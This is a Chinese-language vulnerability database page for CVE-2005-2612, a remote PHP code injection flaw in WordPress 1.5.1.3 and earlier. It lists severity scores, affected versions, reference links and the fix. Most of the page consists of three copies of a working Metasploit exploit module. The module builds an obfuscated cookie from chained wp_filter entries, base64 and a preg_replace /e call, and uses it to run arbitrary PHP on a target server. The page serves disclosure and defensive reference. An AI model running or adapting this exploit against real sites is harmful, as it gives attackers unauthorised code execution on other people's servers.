CVE-2005-2612
CVSS7.5
发布时间 :2005-08-17 00:00:00
修订时间 :2008-09-05 16:52:13
NMCOEP    

[原文]Direct code injection vulnerability in WordPress 1.5.1.3 and earlier allows remote attackers to execute arbitrary PHP code via the cache_lastpostdate[server] cookie.


[CNNVD]WordPress cache_lastpostdate 远程任意命令执行漏洞(CNNVD-200508-176)

        WordPress是一款免费的论坛Blog系统。
        WordPress处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。WordPress没有充分检查过滤cache_lastpostdate[server]变量数据内容,远程攻击者可能利用此漏洞通过插入特定的PHP代码在服务器上执行任意命令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:wordpress:wordpress:1.5WordPress 1.5
cpe:/a:wordpress:wordpress:1.5.1.3WordPress 1.5.1.3
cpe:/a:wordpress:wordpress:1.0WordPress 1.0
cpe:/a:wordpress:wordpress:1.5.1.2WordPress 1.5.1.2
cpe:/a:wordpress:wordpress:1.2WordPress 1.2
cpe:/a:wordpress:wordpress:1.0.2WordPress 1.0.2
cpe:/a:wordpress:wordpress:1.0.1WordPress 1.0.1
cpe:/a:wordpress:wordpress:1.5.1WordPress 1.5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2612
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2612
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200508-176
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/16386
(VENDOR_ADVISORY)  SECUNIA  16386
http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0234.html
(UNKNOWN)  FULLDISC  20050809 (no subject)

- 漏洞信息

WordPress cache_lastpostdate 远程任意命令执行漏洞
高危 未知
2005-08-17 00:00:00 2005-10-20 00:00:00
远程  
        WordPress是一款免费的论坛Blog系统。
        WordPress处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。WordPress没有充分检查过滤cache_lastpostdate[server]变量数据内容,远程攻击者可能利用此漏洞通过插入特定的PHP代码在服务器上执行任意命令。
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://wordpress.org/

- 漏洞信息 (16895)

WordPress cache_lastpostdate Arbitrary Code Execution (EDBID:16895)
php webapps
2010-07-03 Verified
0 metasploit
N/A [点击下载]
##
# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in the WordPress
				blogging software. This vulnerability is only present when the PHP 'register_globals'
				option is enabled (common for hosting providers). All versions of WordPress prior to
				1.5.1.3 are affected.
			},
			'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					['CVE', '2005-2612'],
					['OSVDB', '18672'],
					['BID', '14533'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
			], self.class)
	end

	def exploit

		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
				'uri'      => datastore['URI'],
				'cookie'   => data
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end

end
		

- 漏洞信息 (F82365)

WordPress cache_lastpostdate Arbitrary Code Execution (PacketStormID:F82365)
2009-10-30 00:00:00
str0ke  
exploit,arbitrary,php,code execution
CVE-2005-2612
[点击下载]

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software. This vulnerability is only present when the PHP 'register_globals' option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
            	This module exploits an arbitrary PHP code execution flaw in the WordPress
			blogging software. This vulnerability is only present when the PHP 'register_globals'
			option is enabled (common for hosting providers). All versions of WordPress prior to
			1.5.1.3 are affected.
			},
			'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-2612'],
					['OSVDB', '18672'],
					['BID', '14533'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
				], self.class)
	end

	def exploit
		
		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'cookie'   => data
		}, 25)		
		
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end
	
end

    

- 漏洞信息 (F131000)

WordPress cache_lastpostdate Arbitrary Code Execution (PacketStormID:F131000)
2015-03-24 00:00:00
H D Moore,str0ke  metasploit.com
exploit,arbitrary,php,code execution
CVE-2005-2612,OSVDB-18672
[点击下载]

This Metasploit module exploits an arbitrary PHP code execution flaw in the WordPress blogging software. This vulnerability is only present when the PHP 'register_globals' option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
        blogging software. This vulnerability is only present when the PHP 'register_globals'
        option is enabled (common for hosting providers). All versions of WordPress prior to
        1.5.1.3 are affected.
      },
      'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-2612'],
          ['OSVDB', '18672'],
          ['BID', '14533'],
          ['WPVDB', '6034']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find'
            },
          'Space'       => 512
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Aug 9 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
      ], self.class)
  end

  def exploit

    enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
    str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
    data =
      "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
      "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
      "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
      ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
      "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
      "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

    # Trigger the command execution bug
    res = send_request_cgi({
        'uri'      => normalize_uri(datastore['URI']),
        'cookie'   => data
      }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end

end
    

- 漏洞信息

18672
WordPress Cookie cache_lastpostdate Variable Arbitrary PHP Code Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

WordPress contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to functions.php not properly sanitizing user input supplied in the cache_lastpostdate cookie. This may allow an attacker to include PHP code that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2005-08-09 Unknow
2005-08-09 Unknow

- 解决方案

Upgrade to version 1.5.1.4 or higher, as it has been reported to fix this vulnerability. It is also possible to protect from the flaw by implementing the following workaround: set the register_globals PHP option to 'off'.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站